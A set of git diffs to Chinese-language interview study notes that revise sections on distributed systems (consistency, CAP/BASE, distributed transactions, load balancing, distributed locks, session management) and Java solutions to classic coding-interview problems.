View File

@ -12,6 +12,7 @@
* [十一、一次只做一件事](#十一一次只做一件事)
* [十二、用自然语言表述代码](#十二用自然语言表述代码)
* [十三、减少代码量](#十三减少代码量)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
@ -340,3 +341,7 @@ public int findClostElement(int[] arr) {
不要过度设计,编码过程会有很多变化,过度设计的内容到最后往往是无用的。
多用标准库实现。
# 参考资料
- Dustin, Boswell, Trevor, 等. 编写可读代码的艺术 [M]. 机械工业出版社, 2012.

View File

@ -77,11 +77,11 @@
1. 强一致性:新数据写入之后,在任何数据副本上都能读取到最新值;
2. 弱一致性:新数据写入之后,不能保证在数据副本上能读取到最新值;
3. 最终一致性:新数据写入之后,只能保证过了一个时间窗口才能读取到最新值;
3. 最终一致性:新数据写入之后,只能保证过了一个时间窗口才能在数据副本上读取到最新值;
### 4. 可扩展性
指系统通过扩展集群服务器规模来提高性能的能力。理想的分布式系统需要实现“线性可扩展”,即随着集群规模的增加,系统的整体性能也会线增加。
指系统通过扩展集群服务器规模来提高性能的能力。理想的分布式系统需要实现“线性可扩展”,即随着集群规模的增加,系统的整体性能也会线增加。
# 二、数据分布
@ -93,7 +93,7 @@
传统的哈希分布算法存在一个问题:当节点数量变化时,也就是 N 值变化,那么几乎所有的数据都需要重新分布,将导致大量的数据迁移。
#### 一致性哈希
**一致性哈希**
Distributed Hash TableDHT对于哈希空间 0\~2<sup>n</sup>,将该哈希空间看成一个哈希环,将每个节点都配置到哈希环上。每个数据对象通过哈希取模得到哈希值之后,存放到哈希环中顺时针方向第一个大于等于该哈希值的节点上。
@ -109,7 +109,7 @@ Distributed Hash TableDHT对于哈希空间 0\~2<sup>n</sup>,将该
顺序分布的数据划分为多个连续的部分按一定策略分布到不同节点上。例如下图中User 表的主键范围为 1 \~ 7000使用顺序分布可以将其划分成多个子表对应的主键范围为 1 \~ 10001001 \~ 2000...6001 \~ 7000。
其中 Meta 表是为了支持更大的集群规模,它将原来的一层索引结分成两层,使用 Meta 表来维护 User 子表所在的节点,从而减轻 Root 节点的负担。
引入 Meta 表是为了支持更大的集群规模它将原来的一层索引结分成两层Meta 维护 User 子表所在的节点,从而减轻 Root 节点的负担。
<div align="center"> <img src="../pics//8f64e9c5-7682-4feb-9312-dea09514e160.jpg"/> </div><br>
@ -153,13 +153,15 @@ Distributed Hash TableDHT对于哈希空间 0\~2<sup>n</sup>,将该
在设计分布式系统时需要根据实际需求弱化某一要求。因此就有了下图中的三种设计CA、CP 和 AP。
<div align="center"> <img src="../pics//f50bc364-fdc2-4a46-9b8f-f8f5b6add3b8.jpg" width="300"/> </div><br>
<div align="center"> <img src="../pics//992faced-afcf-414d-b801-9c16d6570fec.jpg" width="500"/> </div><br>
需要注意的是,分区容忍性必不可少,因为需要总是假设网络是不可靠的。因此实际上设计分布式系统需要在一致性和可用性之间做权衡。
# 六、BASE
BASE 是 Basically Available基本可用、Soft state软状态和 Eventually consistent最终一致性三个短语的缩写。BASE 理论是对 CAP 中一致性和可用性权衡的结果,是基于 CAP 定理逐步演化而来的。BASE 理论的核心思想是:即使无法做到强一致性,但每个应用都可以根据自身业务特点,采用适当的方式来使系统达到最终一致性。
BASE 是 Basically Available基本可用、Soft State软状态和 Eventually Consistent最终一致性三个短语的缩写。BASE 理论是对 CAP 中一致性和可用性权衡的结果,是基于 CAP 定理逐步演化而来的。BASE 理论的核心思想是:即使无法做到强一致性,但每个应用都可以根据自身业务特点,采用适当的方式来使系统达到最终一致性。
<div align="center"> <img src="../pics//5930aeb8-847d-4e9f-a168-9334d7dec744.png" width="250"/> </div><br>
## 基本可用

View File

@ -11,11 +11,10 @@
* [使用场景](#使用场景)
* [实现方式](#实现方式)
* [五、分布式 Session](#五分布式-session)
* [1. 粘性 Session](#1-粘性-session)
* [2. 服务器 Session 复制](#2-服务器-session-复制)
* [3. Session 共享机制](#3-session-共享机制)
* [4. Session 持久化到数据库](#4-session-持久化到数据库)
* [5. Terracotta 实现 Session 复制](#5-terracotta-实现-session-复制)
* [1. Sticky Sessions](#1-sticky-sessions)
* [2. Session Replication](#2-session-replication)
* [3. Persistent DataStore](#3-persistent-datastore)
* [4. In-Memory DataStore](#4-in-memory-datastore)
* [六、分库与分表带来的分布式困境与应对之策](#六分库与分表带来的分布式困境与应对之策)
* [事务问题](#事务问题)
* [查询问题](#查询问题)
@ -28,9 +27,9 @@
分布式主要是为了提供可扩展性以及高可用性,业务中使用分布式的场景主要有分布式存储以及分布式计算。
分布式存储中可以将数据分片到多个节点上,不仅可以提高性能(可扩展性),同时也可以使用多个节点对同一份数据进行备份。
分布式存储中可以将数据分片到多个节点上,不仅可以提高性能(可扩展性),同时也可以使用多个节点对同一份数据进行备份(高可用性)
至于分布式计算,就是将一个大的计算任务分解成小任务分配到多节点上去执行再汇总每个小任务的执行结果得到最终结果。MapReduce 是分布式计算最好例子。
至于分布式计算,就是将一个大的计算任务分解成小任务分配到多节点上去执行再汇总每个小任务的执行结果得到最终结果。MapReduce 是分布式计算最好例子。
# 二、分布式事务
@ -43,46 +42,48 @@
## 应用场景
- 下单:减少库存、更新订单状态。库存和订单不在不同一个数据库,因此涉及分布式事务。
- 支付:买家账户扣款、卖家账户入账。买家和卖家账户信息不在同一个数据库,因此涉及分布式事务。
- 下单:减少库存、更新订单状态。库存和订单如果不在同一个数据库,就涉及分布式事务。
- 支付:买家账户扣款、卖家账户入账。买家和卖家账户信息如果不在同一个数据库,就涉及分布式事务。
## 解决方案
### 1. 两阶段提交协议
[两阶段提交](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E4%B8%80%E8%87%B4%E6%80%A7%E5%8D%8F%E8%AE%AE.md#%E4%B8%A4%E9%98%B6%E6%AE%B5%E6%8F%90%E4%BA%A4%E5%8D%8F%E8%AE%AE)
> [两阶段提交](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E4%B8%80%E8%87%B4%E6%80%A7%E5%8D%8F%E8%AE%AE.md#%E4%B8%A4%E9%98%B6%E6%AE%B5%E6%8F%90%E4%BA%A4%E5%8D%8F%E8%AE%AE)
两阶段提交协议可以很好得解决分布式事务问题,它可以使用 XA 来实现XA 它包含两个部分:事务管理器和本地资源管理器。其中本地资源管理器往往由数据库实现,比如 Oracle、DB2 这些商业数据库都实现了 XA 接口;而事务管理器作为全局的协调者,负责各个本地资源的提交和回滚。
两阶段提交协议可以很好地解决分布式事务问题。它可以使用 XA 来实现XA 包含两个部分:事务管理器和本地资源管理器。其中本地资源管理器往往由数据库实现,比如 Oracle、DB2 这些商业数据库都实现了 XA 接口;而事务管理器作为全局的协调者,负责各个本地资源的提交和回滚。
### 2. 消息中间件
消息中间件也可称作消息系统 (MQ),它本质上是一个暂存转发消息的一个中间件。在分布式应用当中,我们可以把一个业务操作转换成一个消息,比如支付宝的余额转入余额宝操作,支付宝系统执行减少余额操作之后向消息系统发送一个消息,余额宝系统订阅这条消息然后进行增加余额宝操作。
**(一)消息处理模型**
#### 2.1 消息处理模型
<font size=3> **点对点** </font></br>
(一)点对点
<div align="center"> <img src="../pics//96b63e13-e2d8-4ddb-9aa1-a38959ca96e5.jpg" width="600"/> </div><br>
<div align="center"> <img src="../pics//96b63e13-e2d8-4ddb-9aa1-a38959ca96e5.jpg" width="700"/> </div><br>
<font size=3> **发布/订阅** </font></br>
(二)发布/订阅
<div align="center"> <img src="../pics//654acfed-a6a5-4fc7-8f40-3fdcae57bae8.jpg" width="700"/> </div><br>
**(二)消息的可靠性**
消息的发送端的可靠性:发送端完成操作后一定能将消息成功发送到消息系统。
#### 2.2 消息的可靠性
消息的接收端的可靠性:接收端仅且能够从消息中间件成功消费一次消息。
(一)发送端的可靠性
<font size=3> **发送端的可靠性** </font></br>
发送端完成操作后一定能将消息成功发送到消息系统。
在本地数据建一张消息表,将消息数据与业务数据保存在同一数据库实例里,这样就可以利用本地数据库的事务机制。事务提交成功后,将消息表中的消息转移到消息中间件,若转移消息成功则删除消息表中的数据,否则继续重传。
实现方法:在本地数据建一张消息表,将消息数据与业务数据保存在同一数据库实例里,这样就可以利用本地数据库的事务机制。事务提交成功后,将消息表中的消息转移到消息中间件,若转移消息成功则删除消息表中的数据,否则继续重传。
<font size=3> **接收端的可靠性** </font></br>
(二)接收端的可靠性
保证接收端处理消息的业务逻辑具有幂等性:只要具有幂等性,那么消费多少次消息,最后处理的结果都是一样的
接收端仅且能够从消息中间件成功消费一次消息
保证消息具有唯一编号,并使用一张日志表来记录已经消费的消息编号。
实现方法:
- 保证接收端处理消息的业务逻辑具有幂等性:只要具有幂等性,那么消费多少次消息,最后处理的结果都是一样的。
- 保证消息具有唯一编号,并使用一张日志表来记录已经消费的消息编号。
# 三、负载均衡的算法与实现
@ -94,7 +95,7 @@
<div align="center"> <img src="../pics//2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg"/> </div><br>
该算法比较适合每个服务器的性能差不多的场景,如果有性能存在差异的情况下,那么性能较差的服务器可能无法承担多大的负载。下图中,服务器 2 的性能比服务器 1 差,那么服务器 2 可能无法承担多大的负载
该算法比较适合每个服务器的性能差不多的场景,如果有性能存在差异的情况下,那么性能较差的服务器可能无法承担多大的负载(下图的 Server 2
<div align="center"> <img src="../pics//f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg"/> </div><br>
@ -128,45 +129,57 @@
## 实现
### 1. DNS 解析
使用 DNS 作为负载均衡器,根据负载情况返回不同服务器的 IP 地址。大型网站基本使用了这种方式最为第一级负载均衡手段,然后在内部使用其它方式做第二级负载均衡。
<div align="center"> <img src="../pics//42e17a80-b9fc-42a2-9ba8-68364fae3710.jpg" width="500"/> </div><br>
### 2. 修改 MAC 地址
使用 LVSLinux Virtual Server这种链路层负载均衡器根据负载情况修改请求的 MAC 地址。
<div align="center"> <img src="../pics//6fea6dd4-9232-4df8-abdf-f1b528a18b17.jpg" width="500"/> </div><br>
### 3. 修改 IP 地址
在网络层修改请求的目的 IP 地址。
<div align="center"> <img src="../pics//4ff7eacd-0081-452e-9686-60a81e11bf73.jpg" width="500"/> </div><br>
### 4. HTTP 重定向
### 1. HTTP 重定向
HTTP 重定向负载均衡服务器收到 HTTP 请求之后会返回服务器的地址,并将该地址写入 HTTP 重定向响应中返回给浏览器,浏览器收到后需要再次发送请求。
<div align="center"> <img src="../pics//9208563b-014d-4745-aa1c-492c9f7f7a7f.jpg" width="500"/> </div><br>
缺点:
### 5. 反向代理
- 用户访问的延迟会增加;
- 如果负载均衡器宕机,就无法访问该站点。
正向代理:发生在客户端,是由用户主动发起的。比如翻墙,客户端通过主动访问代理服务器,让代理服务器获得需要的外网数据,然后转发回客户端。
<div align="center"> <img src="../pics//10bdf7bf-0daa-4a26-b927-f142b3f8e72b.png"/> </div><br>
反向代理:发生在服务器端,用户不知道代理的存在。
### 2. DNS 重定向
<div align="center"> <img src="../pics//b750eb3e-8a80-475c-95df-2e971b277603.jpg" width="500"/> </div><br>
使用 DNS 作为负载均衡器,根据负载情况返回不同服务器的 IP 地址。大型网站基本使用了这种方式做为第一级负载均衡手段,然后在内部使用其它方式做第二级负载均衡。
缺点:
- DNS 查找表可能会被客户端缓存起来,那么之后的所有请求都会被重定向到同一个服务器。
<div align="center"> <img src="../pics//f8b16d1e-7363-4544-94d6-4939fdf849dc.png"/> </div><br>
### 3. 修改 MAC 地址
使用 LVSLinux Virtual Server这种链路层负载均衡器根据负载情况修改请求的 MAC 地址。
<div align="center"> <img src="../pics//f0e35b7a-2948-488a-a5a9-97d3f6b5e2d7.png"/> </div><br>
### 4. 修改 IP 地址
在网络层修改请求的目的 IP 地址。
<div align="center"> <img src="../pics//265a355d-aead-48aa-b455-f33b62fe729f.png"/> </div><br>
### 5. 代理自动配置
正向代理与反向代理的区别:
- 正向代理:发生在客户端,是由用户主动发起的。比如翻墙,客户端通过主动访问代理服务器,让代理服务器获得需要的外网数据,然后转发回客户端。
- 反向代理:发生在服务器端,用户不知道代理的存在。
PAC 服务器是用来判断一个请求是否要经过代理。
<div align="center"> <img src="../pics//52e1af6f-3a7a-4bee-aa8f-fcb5dacebe40.jpg"/> </div><br>
# 四、分布式锁
Java 提供了两种内置的锁的实现,一种是由 JVM 实现的 synchronized 和 JDK 提供的 Lock当你的应用是单机或者说单进程应用时可以使用 synchronized 或 Lock 来实现锁。当应用涉及到多机、多进程共同完成时,那么这时候就需要一个全局锁来实现多个进程之间的同步。
Java 提供了两种内置的锁的实现,一种是由 JVM 实现的 synchronized 和 JDK 提供的 Lock对于单机单进程应用,可以使用它们来实现锁。当应用涉及到多机、多进程共同完成时,那么这时候就需要一个全局锁来实现多个进程之间的同步。
## 使用场景
在服务器端使用分布式部署的情况下,一个服务可能分布在不同的节点撒花姑娘,比如订单服务分布式在节点 A 和节点 B 上。如果多个客户端同时对一个服务进行请求时,就需要使用分布式锁。例如当 APP 端的请求路由到了节点 AWEB 端被路由到了 B 服务,这时对共享资源进行使用时需要使用分布式锁。
在服务器端使用分布式部署的情况下,一个服务可能分布在不同的节点,比如订单服务分布式在节点 A 和节点 B 上。如果多个客户端同时对一个服务进行请求时,就需要使用分布式锁。例如一个服务可以使用 APP 端或者 Web 端进行访问,如果一个用户同时使用 APP 端和 Web 端访问该服务,并且 APP 端的请求路由到了节点 AWEB 端的请求被路由到了节点 B这时候就需要使用分布式锁来进行同步
## 实现方式
@ -174,7 +187,9 @@ Java 提供了两种内置的锁的实现,一种是由 JVM 实现的 synchroni
**(一)基于 MySQL 锁表**
该实现方式完全依靠数据库唯一索引来实现。当想要获得锁时,就向数据库中插入一条记录,释放锁时就删除这条记录。如果记录具有唯一索引,就不会同时插入同一条记录。这种方式存在以下几个问题:
该实现完全依靠数据库的唯一索引。当想要获得锁时,就向数据库中插入一条记录,释放锁时就删除这条记录。如果记录具有唯一索引,就不会同时插入同一条记录。
这种方式存在以下几个问题:
1. 锁没有失效时间,解锁失败会导致死锁,其他线程无法再获得锁。
2. 只能是非阻塞锁,插入失败直接就报错了,无法重试。
@ -194,7 +209,7 @@ EXPIRE 可以为一个键值对设置一个过期时间,从而避免了死锁
**RedLock 算法**
ReadLock 算法使用了多个 Redis 实例来实现分布式锁,这是为了保证在发生单点故障时还可用。
RedLock 算法使用了多个 Redis 实例来实现分布式锁,这是为了保证在发生单点故障时还可用。
1. 尝试从 N 个相互独立 Redis 实例获取锁,如果一个实例不可用,应该尽快尝试下一个。
2. 计算获取锁消耗的时间只有当这个时间小于锁的过期时间并且从大多数N/2+1实例上获取了锁那么就认为锁获取成功了。
@ -233,103 +248,41 @@ Zookeeper 提供了一种树形结构级的命名空间,/app1/p_1 节点表示
**(六)羊群效应**
在步骤二,一个节点未获得锁,需要监听监听自己的前一个子节点,这是因为如果监听所有的子节点,那么任意一个子节点状态改变,其它所有子节点都会收到通知,而我们只希望它的下一个子节点收到通知。
在步骤二,一个节点未获得锁,需要监听监听自己的前一个子节点,这是因为如果监听所有的子节点,那么任意一个子节点状态改变,其它所有子节点都会收到通知(羊群效应),而我们只希望它的后一个子节点收到通知。
# 五、分布式 Session
如果不做任何处理的话,用户将出现频繁登录的现象,比如集群中存在 A、B 两台服务器用户在第一次访问网站时Nginx 通过其负载均衡机制将用户请求转发到 A 服务器,这时 A 服务器就会给用户创建一个 Session。当用户第二次发送请求时Nginx 将其负载均衡到 B 服务器,而这时候 B 服务器并不存在 Session所以就会将用户踢到登录页面。这将大大降低用户体验度导致用户的流失这种情况是项目绝不应该出现的
在分布式场景下,一个用户的 Session 如果只存储在一个服务器上,那么当负载均衡器把用户的下一个请求转发到另一个服务器上,该服务器没有用户的 Session就可能导致用户需要重新进行登录等操作
## 1. 粘性 Session
<div align="center"> <img src="../pics//cookiedata.png"/> </div><br>
### 原理
## 1. Sticky Sessions
粘性 Session 是指将用户锁定到某一个服务器上,比如上面说的例子,用户第一次请求时,负载均衡器将用户的请求转发到了 A 服务器上,如果负载均衡器设置了粘性 Session 的话,那么用户以后的每次请求都会转发到 A 服务器上,相当于把用户和 A 服务器粘到了一块,这就是粘性 Session 机制
需要配置负载均衡器,使得一个用户的所有请求都路由到一个服务器节点上,这样就可以把用户的 Session 存放在该服务器节点中
### 优点
缺点:当服务器节点宕机时,将丢失该服务器节点上的所有 Session。
简单,不需要对 Session 做任何处理。
<div align="center"> <img src="../pics//MultiNode-StickySessions.jpg"/> </div><br>
### 缺点
## 2. Session Replication
缺乏容错性,如果当前访问的服务器发生故障,用户被转移到第二个服务器上时,他的 Session 信息都将失效
在服务器节点之间进行 Session 同步操作,这样的话用户可以访问任何一个服务器节点
### 适用场景
缺点:需要更好的服务器硬件条件;需要对服务器进行配置。
- 发生故障对客户产生的影响较小;
- 服务器发生故障是低概率事件。
<div align="center"> <img src="../pics//MultiNode-SessionReplication.jpg"/> </div><br>
## 2. 服务器 Session 复制
## 3. Persistent DataStore
### 原理
将 Session 信息持久化到一个数据库中。
任何一个服务器上的 Session 发生改变,该节点会把这个 Session 的所有内容序列化,然后广播给所有其它节点,不管其他服务器需不需要 Session以此来保证 Session 同步
缺点:有可能需要去实现存取 Session 的代码
### 优点
<div align="center"> <img src="../pics//MultiNode-SpringSession.jpg"/> </div><br>
可容错,各个服务器间 Session 能够实时响应。
## 4. In-Memory DataStore
### 缺点
会对网络负荷造成一定压力,如果 Session 量大的话可能会造成网络堵塞,拖慢服务器性能。
### 实现方式
1. 设置 Tomcat 的 server.xml 开启 tomcat 集群功能。
2. 在应用里增加信息:通知应用当前处于集群环境中,支持分布式,即在 web.xml 中添加&lt;distributable/> 选项。
## 3. Session 共享机制
使用分布式缓存方案比如 Memcached、Redis但是要求 Memcached 或 Redis 必须是集群。
使用 Session 共享也分两种机制,两种情况如下:
### 3.1 粘性 Session 共享机制
和粘性 Session 一样,一个用户的 Session 会绑定到一个 Tomcat 上。Memcached 只是起到备份作用。
<div align="center"> <img src="../pics//93a28704-6401-4671-9758-051fadfbeb47.jpg" width="400"/> </div><br>
### 3.2 非粘性 Session 共享机制
#### 原理
Tomcat 本身不存储 Session而是存入 Memcached 中。Memcached 集群构建主从复制架构。
<div align="center"> <img src="../pics//ce0fa5d0-866b-46e6-a873-8eb1f78c2882.jpg" width="400"/> </div><br>
#### 优点
可容错Session 实时响应。
#### 实现方式
用开源的 msm 插件解决 Tomcat 之间的 Session 共享Memcached_Session_ManagerMSM
## 4. Session 持久化到数据库
### 原理
拿出一个数据库,专门用来存储 Session 信息。保证 Session 的持久化。
### 优点
服务器出现问题Session 不会丢失
### 缺点
如果网站的访问量很大,把 Session 存储到数据库中,会对数据库造成很大压力,还需要增加额外的开销维护数据库。
## 5. Terracotta 实现 Session 复制
### 原理
Terracotta 的基本原理是对于集群间共享的数据当在一个节点发生变化的时候Terracotta 只把变化的部分发送给 Terracotta 服务器,然后由服务器把它转发给真正需要这个数据的节点。它是服务器 Session 复制的优化。
<div align="center"> <img src="../pics//b6acae0d-7148-41de-adc3-ff5ff8dca3ae.jpg"/> </div><br>
### 优点
这样对网络的压力就非常小,各个节点也不必浪费 CPU 时间和内存进行大量的序列化操作。把这种集群间数据共享的机制应用在 Session 同步上,既避免了对数据库的依赖,又能达到负载均衡和灾难恢复的效果。
可以使用 Redis 和 Memcached 这种内存型数据库对 Session 进行存储,可以大大提高 Session 的读写效率。内存型数据库同样可以持久化数据到磁盘中来保证数据的安全性。
# 六、分库与分表带来的分布式困境与应对之策
@ -353,6 +306,9 @@ Terracotta 的基本原理是对于集群间共享的数据,当在一个节点
- [Comparing Load Balancing Algorithms](http://www.jscape.com/blog/load-balancing-algorithms)
- [负载均衡算法及手段](https://segmentfault.com/a/1190000004492447)
- [Redirection and Load Balancing](http://slideplayer.com/slide/6599069/#)
- [Session Management using Spring Session with JDBC DataStore](https://sivalabs.in/2018/02/session-management-using-spring-session-jdbc-datastore/)
- [Apache Wicket User Guide - Reference Documentation](https://ci.apache.org/projects/wicket/guide/6.x/)
- [集群/分布式环境下 5 种 Session 处理策略](http://blog.csdn.net/u010028869/article/details/50773174?ref=myread)
- [浅谈分布式锁](http://www.linkedkeeper.com/detail/blog.action?bid=1023)
- [深入理解分布式事务](https://juejin.im/entry/577c6f220a2b5800573492be)

View File

@ -1,5 +1,4 @@
<!-- GFM-TOC -->
* [前言](#前言)
* [2. 实现 Singleton](#2-实现-singleton)
* [3. 数组中重复的数字](#3-数组中重复的数字)
* [4. 二维数组中的查找](#4-二维数组中的查找)
@ -30,8 +29,7 @@
* [25. 合并两个排序的链表](#25-合并两个排序的链表)
* [26. 树的子结构](#26-树的子结构)
* [27. 二叉树的镜像](#27-二叉树的镜像)
* [28.1 对称的二叉树](#281-对称的二叉树)
* [28.2 平衡二叉树](#282-平衡二叉树)
* [28 对称的二叉树](#28-对称的二叉树)
* [29. 顺时针打印矩阵](#29-顺时针打印矩阵)
* [30. 包含 min 函数的栈](#30-包含-min-函数的栈)
* [31. 栈的压入、弹出序列](#31-栈的压入弹出序列)
@ -60,8 +58,9 @@
* [51. 数组中的逆序对](#51-数组中的逆序对)
* [52. 两个链表的第一个公共结点](#52-两个链表的第一个公共结点)
* [53 数字在排序数组中出现的次数](#53-数字在排序数组中出现的次数)
* [54. 二叉搜索树的第 k 个结点](#54-二叉搜索树的第-k-个结点)
* [55 二叉树的深度](#55-二叉树的深度)
* [54. 二叉搜索树的第 K 个结点](#54-二叉搜索树的第-k-个结点)
* [55.1 二叉树的深度](#551-二叉树的深度)
* [55.2 平衡二叉树](#552-平衡二叉树)
* [56. 数组中只出现一次的数字](#56-数组中只出现一次的数字)
* [57.1 和为 S 的两个数字](#571-和为-s-的两个数字)
* [57.2 和为 S 的连续正数序列](#572-和为-s-的连续正数序列)
@ -77,29 +76,13 @@
* [66. 构建乘积数组](#66-构建乘积数组)
* [67. 把字符串转换成整数](#67-把字符串转换成整数)
* [68. 树中两个节点的最低公共祖先](#68-树中两个节点的最低公共祖先)
* [参考文献](#参考文献)
<!-- GFM-TOC -->
# 前言
## 变量命名约定
- nums 表示数字数组array 表示通用数组matrix 表示矩阵;
- n 表示数组长度、字符串长度、树节点个数,以及其它具有一维性质的数据结构的元素个数;
- m, n 表示矩阵的行数和列数;
- first, last 表示闭区间,在需要作为函数参数时使用:[first, last]
- l, h 也表示闭区间,在只作为局部变量时使用:[l, h]
- begin, end 表示左闭右开区间:[begin, end)
- ret 表示结果相关的变量;
- dp 表示动态规划保存子问题的数组;
## 复杂度简写说明
O(nlog<sub>n</sub>) + O(n<sup>2</sup>),第一个指时间复杂度,第二个指空间复杂度。
# 2. 实现 Singleton
> [单例模式](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.md#%E5%85%AB%E5%8D%95%E4%BE%8B%E6%A8%A1%E5%BC%8F)
> [单例模式](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.md)
# 3. 数组中重复的数字
@ -111,7 +94,7 @@ O(nlog<sub>n</sub>) + O(n<sup>2</sup>),第一个指时间复杂度,第二个
这种数组元素在 [0, n-1] 范围内的问题,可以将值为 i 的元素放到第 i 个位置上。
以 (2, 3, 1, 0, 2, 5) 为例,以下代码的运行过程为
以 (2, 3, 1, 0, 2, 5) 为例:
```html
position-0 : (2,3,1,0,2,5) // 2 <-> 1
@ -124,7 +107,7 @@ position-2 : (0,1,1,3,2,5) // nums[i] == nums[nums[i]], exit
遍历到位置 2 时,该位置上的数为 1但是第 1 个位置上已经有一个 1 的值了,因此可以知道 1 重复。
复杂度O(n) + O(1)
复杂度O(N) + O(1)
```java
public boolean duplicate(int[] nums, int length, int[] duplication) {
@ -170,7 +153,7 @@ Given target = 20, return false.
从右上角开始查找。因为矩阵中的一个数,它左边的数都比它小,下边的数都比它大。因此,从右上角开始查找,就可以根据 target 和当前元素的大小关系来缩小查找区间。
复杂度O(m + n) + O(1)
复杂度O(M+N) + O(1)
```java
public boolean Find(int target, int[][] matrix) {
@ -200,9 +183,7 @@ public boolean Find(int target, int[][] matrix) {
从后向前遍是为了在改变 P2 所指向的内容时,不会影响到 P1 遍历原来字符串的内容。
复杂度O(n) + O(1)
<div align="center"> <img src="../pics//35b0caf8-6f34-49db-93ed-d505e9eb3d99.png"/> </div><br>
复杂度O(N) + O(1)
```java
public String replaceSpace(StringBuffer str) {
@ -234,6 +215,8 @@ public String replaceSpace(StringBuffer str) {
输入链表的第一个节点,从尾到头反过来打印出每个结点的值。
<div align="center"> <img src="../pics//d99dc9e2-197c-4085-813d-7195da1c6762.png" width="300"/> </div><br>
## 解题思路
### 使用栈
@ -314,20 +297,12 @@ public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
根据二叉树的前序遍历和中序遍历的结果,重建出该二叉树。
```html
For example, given
preorder = [3,9,20,15,7]
inorder = [9,3,15,20,7]
Return the following binary tree:
3
/ \
9 20
/ \
15 7
```
<div align="center"> <img src="../pics//8a4c6ad4-a816-47d1-b93f-7ca4f78ab67a.png" width="250"/> </div><br>
## 解题思路
前序遍历的第一个值为根节点的值,使用这个值将中序遍历结果分成两部分,左部分为树的左子树中序遍历结果,右部分为树的右子树中序遍历的结果。
@ -364,11 +339,11 @@ private TreeNode reConstructBinaryTree(int[] pre, int preL, int preR, int[] in,
① 如果一个节点有右子树不为空,那么该节点的下一个节点是右子树的最左节点;
<div align="center"> <img src="../pics//931e112e-97d3-4a47-ac64-a86d70844e58.png" width="200"/> </div><br>
<div align="center"> <img src="../pics//cb0ed469-27ab-471b-a830-648b279103c8.png" width="250"/> </div><br>
② 否则,向上找第一个左链接指向的树包含该节点的祖先节点。
<div align="center"> <img src="../pics//350048d6-20f5-4ca9-8452-3957a09ef3af.png" width="200"/> </div><br>
<div align="center"> <img src="../pics//e143f6da-d114-4ba4-8712-f65299047fa2.png" width="250"/> </div><br>
```java
public class TreeLinkNode {
@ -406,6 +381,8 @@ public TreeLinkNode GetNext(TreeLinkNode pNode) {
in 栈用来处理入栈push操作out 栈用来处理出栈pop操作。一个元素进入 in 栈之后,出栈的顺序被反转。当元素要出栈时,需要先进入 out 栈,此时元素出栈顺序再一次被反转,因此出栈顺序就和最开始入栈顺序是相同的,此时先进入的元素先退出,这就是队列的顺序。
<div align="center"> <img src="../pics//5acf7550-86c5-4c5b-b912-8ce70ef9c34e.png" width="400"/> </div><br>
```java
Stack<Integer> in = new Stack<Integer>();
Stack<Integer> out = new Stack<Integer>();
@ -436,7 +413,7 @@ public int pop() {
如果使用递归求解,那么会重复计算一些子问题。例如,求 f(10) 需要计算 f(9) 和 f(8),计算 f(9) 需要计算 f(8) 和 f(7),可以看到 f(8) 被重复计算了。
<div align="center"> <img src="../pics//080f488c-75ef-49a8-a49d-78fa372ad422.png"/> </div><br>
<div align="center"> <img src="../pics//955af054-8872-4569-82e7-2e10b66bc38e.png" width="300"/> </div><br>
递归方法是将一个问题划分成多个子问题求解,动态规划也是如此,但是动态规划会把子问题的解缓存起来,避免重复求解子问题。
@ -529,7 +506,7 @@ public int RectCover(int n) {
### 分治
复杂度O(log<sub>n</sub>) + O(1),其实空间复杂度不止 O(1),因为分治使用了递归栈,用到了额外的空间,如果对空间有要求就不能用这种方法。
复杂度O(logN) + O(1),其实空间复杂度不止 O(1),因为分治使用了递归栈,用到了额外的空间,如果对空间有要求就不能用这种方法。
```java
public int minNumberInRotateArray(int[] nums) {
@ -544,9 +521,9 @@ private int minNumberInRotateArray(int[] nums, int first, int last) {
}
```
### 双指针
### 二分查找
复杂度O(log<sub>n</sub>) + O(1)
复杂度O(logN) + O(1)
```java
public int minNumberInRotateArray(int[] nums) {
@ -556,7 +533,7 @@ public int minNumberInRotateArray(int[] nums) {
if (h - l == 1) return nums[h];
int mid = l + (h - l) / 2;
if (nums[mid] >= nums[l]) l = mid;
else if (nums[mid] <= nums[h]) h = mid;
else h = mid;
}
return nums[l];
}
@ -566,7 +543,11 @@ public int minNumberInRotateArray(int[] nums) {
## 题目描述
请设计一个函数,用来判断在一个矩阵中是否存在一条包含某字符串所有字符的路径。路径可以从矩阵中的任意一个格子开始,每一步可以在矩阵中向左,向右,向上,向下移动一个格子。如果一条路径经过了矩阵中的某一个格子,则该路径不能再进入该格子。例如 a b c e s f c s a d e e 矩阵中包含一条字符串 "bcced" 的路径,但是矩阵中不包含 "abcb" 路径,因为字符串的第一个字符 b 占据了矩阵中的第一行第二个格子之后,路径不能再次进入该格子。
请设计一个函数,用来判断在一个矩阵中是否存在一条包含某字符串所有字符的路径。路径可以从矩阵中的任意一个格子开始,每一步可以在矩阵中向左,向右,向上,向下移动一个格子。如果一条路径经过了矩阵中的某一个格子,则该路径不能再进入该格子。
例如下面的矩阵包含了一条 bfce 路径。
<div align="center"> <img src="../pics//e31abb94-9201-4e06-9902-61101b92f475.png" width="300"/> </div><br>
## 解题思路
@ -694,7 +675,7 @@ public int maxProductAfterCutting(int n) {
### 贪心解法
尽可能多剪长度为 3 的绳子,并且不允许有长度为 1 的绳子出现,如果出现了,就从已经切好长度为 3 的绳子中拿出一段与长度为 1 的绳子重新组合,把它们切成两段长度为 2 的绳子。
尽可能多剪长度为 3 的绳子,并且不允许有长度为 1 的绳子出现,如果出现了,就从已经切好长度为 3 的绳子中拿出一段与长度为 1 的绳子重新组合,把它们切成两段长度为 2 的绳子。
证明:当 n >= 5 时3(n - 3) - 2(n - 2) = n - 5 >= 0。因此把长度大于 5 的绳子切成两段,令其中一段长度为 3 可以使得两段的乘积最大。
@ -726,7 +707,7 @@ public int NumberOf1(int n) {
### n&(n-1)
O(logM) 时间复杂度解法,其中 m 表示 1 的个数。
O(logM) 时间复杂度解法,其中 M 表示 1 的个数。
该位运算是去除 n 的位级表示中最低的那一位。
